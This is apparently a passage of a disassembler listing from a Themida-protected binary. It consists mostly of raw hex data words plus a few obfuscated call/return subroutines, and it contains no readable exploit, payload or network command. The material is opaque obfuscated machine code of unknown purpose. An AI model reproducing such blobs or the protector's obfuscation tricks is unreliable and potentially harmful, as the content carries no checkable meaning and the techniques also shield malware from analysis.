4C35646h, 900E1D33h dd 6E9h, 99DA2D00h, 0E9F506C7h, 9, 0DEE3FC96h, 0BDBC512Dh dd 96BD83AFh, 7FDEBh, 424840Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 150424h, 53430000h, 0FF7D97C3h dd 0FDEB96B5h, 50006A07h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1404h, 0C3504000h, 0BD89514Ch, 7FA1149h dd 0DA8B665Bh, 274595FFh, 9E907FAh, 18000000h, 220FD621h dd 53D1D8DAh, 0EB8AB58Bh, 6A07FDh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 160424h, 53430000h, 0B9D473C3h, 2D99BD8Bh dd 6C707FAh, 10001h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Bh, 0D8C35545h, 0E3A87EEEh, 60CA39EAh, 31158D8Bh dd 0E68007FAh, 0F9661CAh, 288h, 505F5000h, 58F0Fh, 0D3BB0000h dd 963B2021h, 1F9BD23h, 850F07FAh, 2, 0B5FFD98Bh, 7FDEB96h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 8BC35545h dd 2D2DA2EBh, 0A943F7DEh, 1C1622BBh, 0E195FF4Dh, 0F07FA18h dd 0B58BDABFh, 7FDEB8Ah, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 17h, 0B0C35343h dd 0BAB695Bh, 0FA338DBDh, 7D858B07h, 8907FA1Ch, 0C486h dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h dd 0C3504000h, 64A044C4h, 0E8D430C0h, 14h, 25A11716h, 96C72967h dd 0E8A0187Dh, 298EF69Dh, 3B62F988h, 18860Fh, 12E80000h dd 1C000000h, 10F24D6Ah, 1EA6AC3Ah, 0D917DE4Dh, 6D2316B3h dd 8B5F5F5Dh, 0FA1CD995h, 57006A07h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1D04h, 0C3574700h, 0A416FAECh dd 6B7A28C1h, 38BBD00Dh, 831AB6E2h, 6A04C2h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0C563C7C3h dd 3146D29Fh, 95899173h, 7FA287Dh, 0E9205089h, 0Bh, 0F64E1245h dd 140D6779h, 0F2B9E3Eh, 0D8Eh, 8E900h, 0FC030000h, 0AA54B0DEh dd 858DE3CDh, 7FDFEF7h, 0FFBB70Fh, 1684h, 11E900h, 0A8A20000h dd 0B6730097h, 17783EDh, 66353047h, 899BFCEEh, 0B886h dd 319D8B00h, 6A07FA17h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1A04h, 0C3504000h, 5B4A5F5Ch, 0F8926A5Bh dd 0EE8h, 3E019C00h, 949F77E1h, 0B0FC7DD2h, 89493202h dd 0FA201985h, 0B5FF5F07h, 7FDEB96h, 0FFDABF0Fh, 0FA1C9595h dd 199D8B07h, 5007FA20h, 10E9h, 0AE268A00h, 0BD9460A5h dd 0C401A237h, 83F19C39h, 2434895Bh, 14E8h, 0B60BF800h dd 1FF5F955h, 15E92B35h, 9160C899h, 2F00BA2h, 23BF66F2h dd 0B5FF5FC5h, 7FDEB96h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ah, 5C35242h, 50911EE2h, 952911AAh, 7FA28E9h dd 1D9595FFh, 6A07FAh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 150424h, 51410000h, 8340BDC3h, 0FA0131BDh, 840F0007h dd 12h, 0E958D89h, 509607FAh, 5BF98B52h, 64B6BB96h, 0B5FF7F58h dd 7FDEB96h, 0D719D8Bh, 4AB707FAh, 1CB595FFh, 0BD8B07FAh dd 7FA17EDh, 2581BD8Bh, 0B5FF07FAh, 7FDEB96h, 891B529h dd 95FF07FAh, 7FA21ADh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Dh, 32C35545h, 0C810D0EEh, 0CFB9A621h, 55BB6695h dd 21BD83B5h, 207FA22h, 42840Fh, 0E3810000h, 711358FAh dd 16E18589h, 858B07FAh, 7FA1615h, 28B0Fh, 0FE8A0000h dd 6A0000C6h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1D042444h, 47000000h, 0B126C357h, 1549099Ch, 0C8AC0479h dd 16DD85C7h, 7FAh, 830F0000h, 12h, 6E8h, 7D2D7200h, 0B538D7Dh dd 0FA27899Dh, 1BE95F07h, 6AFFFFF3h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 3E12C353h dd 1950B68Ch, 8D89C383h, 7FA2639h, 4EB7C18Bh, 199858Dh dd 90F907FAh, 52502DB3h, 10E9905Bh, 79000000h, 0AEA51422h dd 0A082102Ah, 5D9F3672h, 6A4AB9BBh, 6AF500h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 14h, 8CC35040h, 0B959D8Bh dd 858D07FAh, 7FF57CBh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 4EC35343h, 806F812Dh, 83DC922Ah, 8B5005C0h dd 50505BF8h, 80EBB52h, 310F6569h, 0B0BF5250h, 0F7BB0A8h dd 0C41ABF31h, 585A51DDh, 489585Ah, 57006A24h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 542CF14Fh dd 0FB8B7936h, 6ADC8Ah, 2B398D89h, 6A07FAh, 7EF789BFh dd 0D98B664Fh, 2BE995FFh, 0BF0F07FAh, 118D8DFEh, 0F07FDD7h dd 689h, 219D8B00h, 0FF07FA2Ch, 0AE9D1h, 0F1BC0000h, 0D56564A3h dd 0F88AED87h, 83F98B66h, 0FA33EDBDh, 850F0107h, 54h, 3B7026Ah dd 0DA8B6690h, 0BF669050h, 95FFD3E3h, 7FA1C95h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 1EC35343h, 0A485B9CCh dd 0E8633BAEh, 0Bh, 73C3FA63h, 4FC9308Bh, 0FF02D77h, 68Bh dd 6D9D8B00h, 5B07FA20h, 0D37E9h, 0E800h, 815D0000h, 0FF57D5EDh dd 57006A07h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h dd 0C3574700h, 10E903h, 0DCD10000h, 0C374A2B0h, 0BBAC6505h dd 34B9BD4Eh, 858DDDB9h, 7FDB959h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 19h, 0B0C35141h, 0EFFFB531h, 0A19D8BCFh dd 9007FA2Bh, 0FE95250h, 7000000h, 0CD6D934Ah, 0BC68A25Ch dd 1D3D3CEAh, 310FC628h, 5FE1B351h, 9050585Ah, 1718589h dd 0FF6407FAh, 35h, 25896400h, 0 ; --------------------------------------------------------------------------- push 0 push edi call sub_5D8CBB and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D8CBB proc near ; CODE XREF: Themida_:005D8CB3p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 16h inc edi push edi retn sub_5D8CBB endp ; --------------------------------------------------------------------------- ror dword ptr [edx+0Dh], 89h mov ch, 2Dh or eax, 0BD2307FAh xchg eax, ecx add dl, bh pop es inc dword ptr [ebp+7FA1049h] push 0 push esi call sub_5D8CEB and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D8CEB proc near ; CODE XREF: Themida_:005D8CE3p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ch inc esi push esi retn sub_5D8CEB endp ; --------------------------------------------------------------------------- db 29h dd 0EC4113F4h, 0EC8DECFEh, 0B5FFFF6Ah, 7FA0EEDh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 32C35242h, 95FFC3AFh dd 7FA2875h, 118E9h, 859D8900h, 0B007FA15h, 0BD8B5300h dd 7FA2901h, 6070E65Fh, 6840Fh, 9D8B0000h, 7FA0FA5h, 8B71E461h dd 0FA27F1BDh, 0F613C07h, 0E883h, 0C8B60F00h, 1F819D8Bh dd 6BA07FAh, 8B000000h, 0FA30E5BDh, 60C18B07h, 68B0Fh dd 0B58B0000h, 7FA1C59h, 4E8C161h, 66DF8B66h, 9D8BE2F7h dd 7FA2D75h, 1E49BD89h, 0C82B07FAh, 0D359589h, 0D18B07FAh dd 277D9529h, 0BB6607FAh, 96E97FA7h, 8B000000h, 47554C85h dd 83FA8B49h, 0DE907C0h, 4D000000h, 85901AD8h, 1C4BB705h dd 1F288C78h, 7E9h, 73C67700h, 0CAEF143Ch, 0E900C083h dd 0Dh, 0AEF3A229h, 354CAC48h, 583351DAh, 959509A1h, 3B07FA2Ch dd 1D830FD0h, 8B000000h, 0FA317D9Dh, 0FD9D8B07h, 0E907FA15h dd 39h, 0EC9BD8Bh, 0BD8B07FAh, 7FA1719h, 0FFFF8D8Bh, 0E183FFFFh dd 1E840F01h, 66000000h, 8036C781h, 0FFFFA583h, 0BFFEFFFFh dd 31175C76h, 554C9589h, 0DE8A4947h, 0E9h, 2FB58D00h, 6A07FEDAh dd 4FBB6600h, 899D8983h, 0FF07FA26h, 0FA101995h, 0EF805707h dd 9FB95B2Fh, 6A00000Fh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1D042444h, 40000000h, 359CC350h, 5382F52Ah dd 967DDCCCh, 0BDB589F8h, 8B07FA16h, 0FCE183F8h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 4BC35747h, 1BE75084h dd 0D8D89B9h, 0FC07FA0Bh, 399F35BBh, 29C02B51h, 0FA345D9Dh dd 6AD22B07h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 19042444h, 45000000h, 4028C355h, 564F2202h, 1659D09h dd 9D8907FAh, 7FA1BF9h, 2A758509h, 33AD07FAh, 3E8D1C2h dd 4E983D0h, 0FFBBF475h, 894EFA6Fh, 0FA350185h, 880D07h dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h dd 57470000h, 69C60DC3h, 8DFB5228h, 81D9A591h, 215CBCF7h dd 0D9958B24h, 8B07FA1Ch, 0FA08B5BDh, 0AD8D8B07h, 0F07FA31h dd 88Fh, 0DB815600h, 2E6E9575h, 0C28B505Fh, 0C103188Bh dd 0C18B188Bh, 0C203E8D1h, 6658188Bh, 6ADA8Bh, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 0F3AB69C3h, 83959DC1h, 0FA2A29BDh, 840F0007h, 35h, 6820Fh dd 85290000h, 7FA053Dh, 0B8h, 8D8DF800h, 7FA4F66h, 6800Fh dd 85890000h, 7FA17B1h, 2DC4EF81h, 0E1FF36C5h, 3870Fh dd 0BF0F0000h, 0D9BD83F9h, 7FA2Bh, 50C840Fh, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 0A8C983C3h, 800F2D04h, 0BF663ADBh, 0BD836EA8h, 7FA2BD9h dd 0F2840F01h, 0BF000004h, 0E7B30BAh, 2BD9BD83h, 0F0307FAh dd 4AA86h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1D04h, 0C3504000h, 0E70E2A04h, 0D82BDEB9h, 9D8B3FD8h dd 7FA00B5h, 0BE960h, 0BE390000h, 92D3A9B8h, 2CB6800Bh dd 0F606053h, 8B66C3B7h, 8D8B61F1h, 7FA16E9h, 0D98C6661h dd 38812DBFh, 4E1801Bh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 15h, 7BC35141h, 0C90AF5D4h, 1A1840Fh, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 9E90FC3h, 0B8000000h, 51F090BFh, 0FD232689h, 0DF8BFC8Ah dd 0FE9858Bh, 8E807FAh, 4A000000h, 0DE6A8FF7h, 89BA4F56h dd 0FA16C19Dh, 0DE8A5F07h, 15E18533h, 6A07FAh, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 0DCF3D8C3h, 0BE9D2DAh, 5D000000h, 0B2A909BCh, 4DC0776Ch dd 8166BFE0h, 90FBA4DBh, 0BE9h, 0B54E4300h, 0A9CE6E66h dd 8E59BA19h, 0BE95150h, 5D000000h, 0FA8CA1Ch, 8F7E3FC4h dd 905F006Bh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 19h, 0CC35040h, 0E738CECFh, 6A5F57B3h, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 0A8528FEFh, 0F3BBED27h, 2B1AFD15h, 0FA07B59Dh, 0F1BE6807h dd 0D98B0BD9h, 41243481h, 660BC6F2h, 95FFFA8Bh, 7FA1CE9h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0C8C35646h dd 0E000AE9Bh, 68C60A68h, 8589FC8Ah, 7FA07E5h, 0EB968589h dd 6A07FDh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h dd 52420000h, 5138C8C3h, 9B0BAB81h, 0ADBD8B83h, 0E907FA1Ch dd 231h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 17h, 0E6C35545h, 0F98CFE8Ch, 68F0Fh, 95310000h, 7FA1051h dd 8BFBBF0Fh, 0FDEB8E85h, 52006A07h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1604h, 0C3524200h, 894E94DBh dd 0FA2105BDh, 1800C707h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 0AB90C352h dd 0DFF2348h, 8589519Ch, 7FA089Dh, 92B58B5Fh, 8B07FDEBh dd 0FA15099Dh, 9DBD8907h, 8B07FA0Bh, 0FA0D5185h, 51006A07h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h dd 71207969h, 0FDA8B66h, 689h, 919D8B00h, 8907FA0Ch, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h, 0C3524200h dd 5BA0A118h, 8BF8C3F9h, 0FA225DBDh, 0E9858B07h, 0F907FA0Fh dd 6A044689h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1C042444h, 40000000h, 16BC350h, 0A159B7F3h, 0FC2D8217h dd 2569BD8Bh, 9D2907FAh, 7FA1D51h, 0A2BF6650h, 24348914h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 62C35747h dd 0DC4570C6h, 9D313EE4h, 7FA2575h, 287D9D01h, 0B5FF07FAh dd 7FDEB8Eh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 15h, 11C35141h, 0E8F78103h, 682C75D2h, 9F4151EAh, 81F88B66h dd 0B2152404h, 6A60DDh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1B0424h, 52420000h, 7F6E99C3h, 0CEC791h, 9BD23C0h, 8D07FA1Fh dd 0FDEB9685h, 55958907h, 5007FA08h, 7D87BB66h, 6A240489h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1D042444h dd 47000000h, 3778C357h, 0A57D2577h, 3CFF8C3Dh, 0E995FFF5h dd 6A07FA1Ch, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1B042444h, 41000000h, 772AC351h, 0F713229Eh, 0B70F0B5Eh dd 6A61FBh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h dd 55450000h, 85C7B3C3h, 7FA2BD9h, 3, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 16h, 0B2C35343h, 0BD838681h, 7FDEB96h dd 38840F00h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 0E962C352h, 32h, 2DF99D8Bh dd 0CE907FAh, 64000000h, 1720AF19h, 0D6C09A3Bh, 506C0598h dd 110C30h, 0C1011144h, 443010E8h, 4C000211h, 83580311h dd 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h, 11443010h dd 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h dd 11443003h, 64285802h, 4300111h, 4E98311h, 0EBE775h dd 0F88BC08Bh, 8B66FA8Ah, 0D9BD83DFh, 307FA2Bh, 3DD850Fh dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h dd 50400000h, 0EB15F3C3h, 0ED858944h, 8307FA01h, 0FDEB96BDh dd 840F0007h, 3ABh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 19h, 7CC35242h, 6B5652C5h, 0F8B70FB9h, 8BDFB70Fh dd 0FA14B9BDh, 96B5FF07h, 8107FDEBh, 45EBA9DFh, 4595FF6Ch dd 6607FA27h, 8B1AE8BFh, 0FDEB8AB5h, 0BF0F5307h, 6C75BFBh dd 10001h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 15h, 0B5C35242h, 14E98Fh, 2D630000h, 0F1C1004h, 59816F88h dd 5BF3E5BBh, 4328B0C2h, 8B96D768h, 6A9650DFh, 3E85000h dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h dd 0FF21C350h, 0FDEB96B5h, 619D8B07h, 0FF07FA08h, 0FA18E195h dd 55006A07h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h dd 0C3554500h, 89B81E6Bh, 9228A9EFh, 9D8B81C2h, 7FA2CA5h dd 8B59BF66h, 0EB8AB58Bh, 820F07FDh, 4, 2C80BB66h, 1C7D858Bh dd 6A07FAh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h dd 53430000h, 8589F0C3h, 7FA02E1h, 8B59D8Bh, 868907FAh dd 0C4h, 8DB58B60h, 6607FA20h, 3157CB81h, 0D9958B61h, 307FA1Ch dd 0FA35399Dh, 4C28307h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ah, 57C35343h, 0E22AF003h, 0BD8BF89Dh, 7FA0E01h dd 23205089h, 0FA1859BDh, 0F7858D07h, 6A07FDFEh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h dd 793FC357h, 2BF2B6AEh, 0D8F4E05Ch, 2C1B501h, 0BF0F07FAh dd 0B88689DAh, 9000000h, 0FA01F1B5h, 6A006A07h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h dd 926CC356h, 94D6647Eh, 0EB96B5FFh, 853107FDh, 7FA0AC1h dd 1C9595FFh, 6A07FAh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 140424h, 57470000h, 8531E6C3h, 7FA01A1h, 20F9BD8Bh dd 0E99607FAh, 11h, 0A07D2ECFh, 0B64F02A7h, 68A796A1h dd 0D582AF4Bh, 0F6050BEh, 585h, 1A02BF00h, 966172FBh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0CC35343h, 0B5FFB5AAh dd 7FDEB96h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 14h, 0DEC35040h, 291DBD8Bh, 0D78007FAh, 9595FFF8h, 8907FA1Dh dd 0FA14A195h, 31BD8307h, 7FA01h, 24840Fh, 6A0000h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 5098AAC3h, 66243489h, 0B5FFDF8Bh, 7FDEB96h, 2BA18D01h dd 95FF07FAh, 7FA1CB5h, 96B5FFF8h, 107FDEBh, 0FA0FEDBDh dd 0AD95FF07h, 6A07FA21h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1A042444h, 47000000h, 8F55C357h, 78D56CD8h dd 41BD012Fh, 8A07FA2Ch, 21BD83FCh, 207FA22h, 5A840Fh dd 0B70F0000h, 15858BD9h, 6A07FA16h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 0CBA1C351h dd 1C4647A7h, 88801D65h, 6A0000C6h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 747BC353h dd 2960B83Ah, 0FA21D59Dh, 61D08A07h, 16DD85C7h, 7FAh, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 60C344C3h, 8A561CB7h, 0E9615FC5h, 0FFFFF3D4h, 298D9529h dd 5E907FAh, 75000000h, 3A870CAFh, 9D8BC18Bh, 7FA1C45h dd 0BE8h, 169E4300h, 6A497420h, 4C715108h, 12E9h, 71D0200h dd 67835DB7h, 2C2AB227h, 0A8BDB7E7h, 5AFAE3B8h, 74C281F9h dd 50000065h, 58DEBF0Fh, 9D29C933h, 7FA1679h, 0E90A3C8Bh dd 14h, 96E06E60h, 0BF48190h, 0F7221AD2h, 0BB066577h, 7E8F4B88h dd 485FF781h, 95314835h, 7FA2261h, 1EE8C781h, 858B4122h dd 7FA3515h, 0D322C781h, 0B589650Ch, 7FA0E59h, 8B0A3C89h dd 0FA23D99Dh, 0B5B58907h, 8307FA33h, 494901E9h, 0C9BD8949h dd 8107FA14h, 0FF9B50F9h, 16850FFFh, 29000000h, 0FA16C18Dh dd 1FE907h, 4C350000h, 0D2D8D54Ch, 0E6AD53B9h, 0E9C78B04h dd 0FFFFFF7Ch, 1C80F15Bh, 5493E39Fh, 8F46C84Fh, 0FD8D8D43h dd 6A07FF66h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 18042444h, 41000000h, 0E2C4C351h, 0F610727h, 0B70FC7B7h dd 0D98D89D7h, 6A07FA1Ch, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1B042444h, 46000000h, 73D5C356h, 17D451F5h dd 85C7C07Fh, 7FA31ADh, 6248h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ch, 72C35646h, 85B2F8B0h, 31E475EFh dd 0EE9h, 51FC2C00h, 25624BFDh, 0B029467Ah, 0C725CFC9h dd 0FA2BD985h, 7, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1604h, 0C3504000h, 8B8F7751h, 0FA33E995h dd 6DB5FF07h, 6A07FA2Dh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 19042444h, 46000000h, 0CA4C356h, 0DFF6ACEAh dd 8166F78Ah, 0FFA9FBC2h, 0FA179995h, 55006A07h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 0ED0C7D22h, 0CE3219B1h, 0ADBD0985h, 6A07FA07h, 1995FF00h dd 8B07FA10h, 620AEBC0h, 0DC4570C6h, 166E3EE4h, 7C8D8DF0h dd 8907FF67h, 0FA25A985h, 0D98D8907h, 8907FA1Ch, 0FA18718Dh dd 0AD85C707h, 407FA31h, 0C700005Bh, 0FA2BD985h, 7, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 0EAE7A9C4h, 0F5BD89h, 0BF0F07FAh, 0EDB5FFDFh, 0F07FA0Eh dd 95FFC0B7h, 7FA1799h, 1659D8Bh, 6A07FAh, 101995FFh, 0C08B07FAh dd 4EEB5DEBh, 0BF724BEDh, 0C21AE6Ah, 0F53FA171h, 0BF08E885h dd 0AE789A0h, 0B18D1B5Bh, 75F730B9h, 55EDC8FCh, 88082B2Eh dd 0BD9E786Eh, 5BCA4149h, 0E1EA5BDBh, 0B56B026Bh, 86D5DAF1h dd 0E54CFCD9h, 7382D57Eh, 27BD04B8h, 0C6FCCB68h, 1AF848FAh dd 0D4A2D0B0h, 0E669CC6Eh, 49008DD8h, 8D8546AEh, 0FF68BE8Dh dd 0FE807h, 0D4400000h, 7D16E5B4h, 0BB79D298h, 6C8967C5h dd 7E8B4h, 29840000h, 3A045F96h, 0D9BF0F28h, 8D895F5Ah dd 7FA1CD9h, 0CE9h, 9F2DD400h, 0AEC1328Ah, 0D25BA30Eh dd 0AD85C7CAh, 3807FA31h, 6A000064h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 3A0FC355h dd 8A597E81h, 0C3B70FACh, 68D0Fh, 958B0000h, 7FA0D79h dd 2BD985C7h, 7FAh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1C0424h, 57470000h, 587C7EC3h, 0C891E620h dd 9531F5E8h, 7FA2741h, 2515B5FFh, 0F6007FAh, 0F88h, 9E800h dd 916C0000h, 78F00116h, 58864A00h, 9995FF61h, 6607FA17h dd 4ABEC381h, 95FF006Ah dd 7FA1019h, 8EBC08Bh, 3AE4A8A9h, 1CF20108h, 614FAF0Ch dd 314FC6DEh, 0F217E51Bh, 150B4CD5h, 150B44C2h, 314FD167h dd 0F21F85B1h, 57867683h, 0BA6C07D5h, 614FAFF6h, 314FC6F3h dd 0F217E58Dh, 150B4C9Eh, 150B4467h, 314FD9B5h, 0F21F85D8h dd 0B3314D14h, 0F6CE90F8h, 0FCF246E5h, 31483FA7h, 8CCCCCB3h dd 36B5DDFAh, 6156B1B1h, 898F4E8Bh, 314FC16Fh, 118640BFh dd 0ACC2C2E1h, 36B327A9h, 69141639h, 29D678E0h, 454FC24Bh dd 891C95CFh, 314FC16Fh, 118640BFh, 0ACC2C2E1h, 36B31A9Eh dd 69141639h, 10A650EAh, 3125C24Bh, 314C2D8Dh, 6C6FC56Ch dd 5DC698F5h, 75CEC13Fh, 3159C1A9h, 640AC5C6h, 40DC6BA0h dd 16D2783Ah, 0F1C4C222h, 0D91DC506h, 314FC535h, 6B8C9F3Bh dd 356B9104h, 356B8147h, 314FC57Fh, 0EE8C97F3h, 0E885EA62h dd 8CF31C4h, 0D8974950h, 314FC514h, 6FB4D08Eh, 2ED236E1h dd 8F7B0D4Eh, 0B814533Ch, 0CB51B44Dh, 3E4B6D6Bh, 314BC3B2h dd 0F0C24E1Bh, 0B2483FA6h, 0CB573C7Bh, 0B540C564h, 314FC581h dd 0D88672D7h, 314FC687h, 0D91AC55Ch, 314FC518h, 6C8C98ADh dd 356BA94Fh, 356B81E2h, 314FC5ABh, 848C909Dh, 0B1C6F65Ch dd 0ACC49972h, 36B5ED5Eh, 3168C533h, 674FAFC4h, 314FC68Bh dd 0F211E5B1h, 153B4C86h, 150B4468h, 314FD232h, 0F219831Bh dd 248B18EAh, 0A5377FA0h, 8C3140EEh, 3125C24Ch, 314C2D8Bh dd 6A6FC56Ch, 6DC69EF5h, 75CEC13Fh, 3153C1A9h, 620CC5C6h dd 885749A0h, 12832D08h, 0E1B0EDFBh, 0F1CA3FE7h, 31A64139h dd 3125C51Bh, 314C2DDBh, 6F6FC5C6h, 45C69BA0h, 75CEC195h dd 315BC1FCh, 6709C56Ch, 9CE04F5h, 0CACEA34Ch, 311C4082h dd 3125C5C6h, 314C2D31h, 6B6FC5B1h, 65C69F1Bh, 75CEC148h dd 3155C112h, 630DC51Bh, 506ED84Eh, 786A4EE0h, 35374405h dd 0B540C7B3h, 314FC6BFh, 0D91DC506h, 314FC535h, 6B8C9F3Bh dd 356B9104h, 356B8147h, 314FC579h, 4D8C97F3h, 139E5CB4h dd 0E0CF7050h, 9CEA337h, 0B440A587h, 314FC5EEh, 0D91FC5ACh dd 314FC560h, 698C9D91h, 356B8151h, 356B81EDh, 314FC522h dd 0C88C955Bh, 0D94DBD0Dh, 317240C9h, 8E29C563h, 0B029F3E1h dd 9A4FC3A0h, 31624063h, 121CC536h, 0CB42808Eh, 0C5A69A8Ah dd 5B4FC5C4h, 32A79263h, 114FC5B1h, 0B8100687h, 0B04BE110h dd 274BE172h, 764FC51Bh, 545806DAh, 8F974E20h, 774EC463h dd 0B81DCB00h, 0CB412065h, 0B4C29A6Bh, 36B27848h, 0D91CC571h dd 314FC58Eh, 6A8C9EE6h, 356B99EAh, 356B8130h, 314FC5C2h dd 5B8C962Fh, 911B93E3h, 20A6DF4Fh, 2C4FC58Dh, 9FC805B7h dd 40CA7157h, 0C2273AE9h, 982FF534h, 1E6A786Dh, 2DF6C2CCh dd 0CE421952h, 0C2CEA35Dh, 0F1CA5B04h, 335A416Ch, 3125C5B1h dd 314C2D89h, 686FC56Ch, 7DC69CF5h, 75CEC13Fh, 315AC1A9h dd 600EC5C6h, 0B8E4C0A0h, 0CB4D1C34h, 31402CDFh, 0F7B2C56Ch dd 1EA7876Fh, 0F9EDB913h, 0F39EFC4Eh, 577744B8h, 3E4DC75Eh dd 314F9C34h, 314A2DD8h, 0F087C56Ch, 0B82208D2h, 0CB51EC8Eh dd 0B0299A8Ah, 0B02A1C34h, 0C29C31Bh, 0B540BFEEh, 314FC7DFh dd 0D91AC506h, 314FC535h, 6C8C983Bh, 356BA904h, 356B8147h dd 314FC576h, 208C90F4h, 315B2C71h, 9B68C56Ch, 910EBAA8h dd 83CC57A0h, 0E699FC23h, 5ED75591h, 0B029D2F2h, 3E2F5989h dd 314F4B5Dh, 604FAF6Ch, 314FC6DEh, 0F216E51Bh, 15034CD4h dd 150B44C2h, 314FDE67h, 0F21E84B1h, 18D31413h, 0F2859C52h dd 36EE501Fh, 49CFC2E1h, 0B4402D8Fh, 314FC59Dh, 109258EAh dd 0B029C24Bh, 0F14FC3A0h, 31064063h, 3125C536h, 314C2D4Ah dd 686FC58Dh, 7DC69C05h, 75CEC147h, 315AC195h, 600EC5D8h dd 0D8A55BAFh, 314FC469h, 0D918C571h, 314FC58Eh, 6E8C9AE6h dd 356BB9EAh, 356B8130h, 314FC5C4h, 348C922Bh, 4F44C4Ah dd 0DBD1AAE4h, 8F542F0Dh, 4F4EC4C6h, 0B4C21FE8h, 36B278CFh dd 3BE17ABEh, 8E401593h, 3E8F40CFh, 314F079Fh, 8C2C68Dh dd 0B1483FDEh, 0B4402D5Bh, 314FC5F4h, 424ABD58h, 31744063h dd 3125C536h, 314C2D4Ch, 